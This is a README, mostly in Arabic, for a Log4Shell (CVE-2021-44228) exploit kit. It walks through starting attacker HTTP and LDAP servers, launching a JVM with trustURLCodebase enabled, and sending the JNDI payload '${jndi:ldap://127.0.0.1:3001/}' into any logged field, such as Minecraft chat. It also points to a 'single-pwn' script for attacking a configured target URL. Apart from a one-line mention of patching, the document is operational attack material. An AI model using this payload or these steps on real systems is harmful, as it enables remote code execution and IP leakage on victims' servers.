log4j2-prosecutor

Motivation

تم الإبلاغ عن هذه الثغرة الأساسية عبر [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) وتم إصلاحها في [هذا المقال. (ملاحظات إصدار 8u121)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)

ومع ذلك، فإن مكتبة التسجيل log4j2 الخاصة بجافا تحتوي على (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java)، والتي تتيح الوصول إلى بروتوكولات مثل LDAP، مما سمح بحقن الأكواد في إصدارات جافا الأقدم.

الإصدارات المصححة من جافا يمكنها منع حقن الأكواد، لكن `JNDILookup` يرسل طلبات إلى خادم ldap، مما قد يؤدي إلى تسريب عنوان IP.

الحل هو تحديث **Java** وإصدار **log4j2**.

التشغيل

0. قم بتثبيت المتطلبات

cd http-server && npm install && cd ../ldap-server && npm install

1. شغّل كلاً من http-server و ldap-server

cd http-server && node index.js &
cd ldap-server && node index.js

2. قم بتجميع Main.java

# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>

3. ابدأ jvm مع المعاملات

# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>

4. أرسل الحمولة إلى أي معامل كحمولة (في ماين كرافت، فقط أرسل رسالة في الدردشة وسيعمل هذا إذا كان الاستغلال يعمل.)

${jndi:ldap://127.0.0.1:3001/}

5. التنظيف

NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

Scripts

# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

المراجع

• https://github.com/apache/logging-log4j2/pull/608
• https://www.lunasec.io/docs/blog/log4j-zero-day/
• https://github.com/NCSC-NL/log4shell
• https://github.com/ilsubyeega/log4j2-exploits/
• https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
• https://www.blumira.com/analysis-log4shell-local-trigger/ (قيد الإنجاز)

الترخيص [GPL3]

انظر الترخيص في LICENSE